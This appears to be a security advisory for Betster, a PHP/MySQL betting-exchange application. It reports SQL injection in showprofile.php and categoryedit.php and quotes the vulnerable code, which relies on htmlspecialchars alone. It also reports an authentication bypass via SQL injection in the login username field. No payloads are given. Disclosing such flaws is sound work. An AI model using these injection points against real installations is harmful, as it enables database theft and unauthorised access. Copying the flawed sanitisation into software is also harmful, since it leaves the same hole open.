SOFTWARE DESCRIPTION
####################
   
Betster is a Software to create a online bet-office based on PHP, MySQL and JavaScript. The system works with variable odds 
(betting-exchange with variable decimal odds) and provides a CMS-like backend for handling the bets, users and categories.
   
################################################################
VULNERABILITY: SQL Injection (showprofile.php, categoryedit.php)
################################################################
    
An attacker might execute arbitrary SQL commands on the database server with this vulnerability.
User tainted data is used when creating the database query that will be executed on the database management system (DBMS).
An attacker can inject own SQL syntax thus initiate reading, inserting or deleting database entries or attacking the underlying operating system
depending on the query, DBMS and configuration.
   
/showprofile.php (LINE: 63)
-----------------------------------------------------------------------------
if (($session->getState()) && 
	(($user->getStatus() == "administrator") || 
	 ($user->getStatus() == "betmaster"))){
	$mainhtml = file_get_contents("tpl/showprofile.inc");

	$id = htmlspecialchars($_GET['id']);				<<<< WTF !!
	$xuser = $db_mapper->getUserById($id);
-----------------------------------------------------------------------------
    
/categoryedit.php (LINE: 52)
-----------------------------------------------------------------------------
$id = htmlspecialchars($_GET['id']);					<<<< WTF !!
$action = htmlspecialchars($_GET['ac']);
----------------------------------------------------------------------------- 

###########################################
VULNERABILITY: Authentication Bypass (SQLi)
###########################################
  
File index.php (Login function) has SQL Injection vulnerability, "username" parameter supplied in POST parameter for checking valid credentials.
The "username" parameter is not validated before passing into SQL query which arise authentication bypass issue.
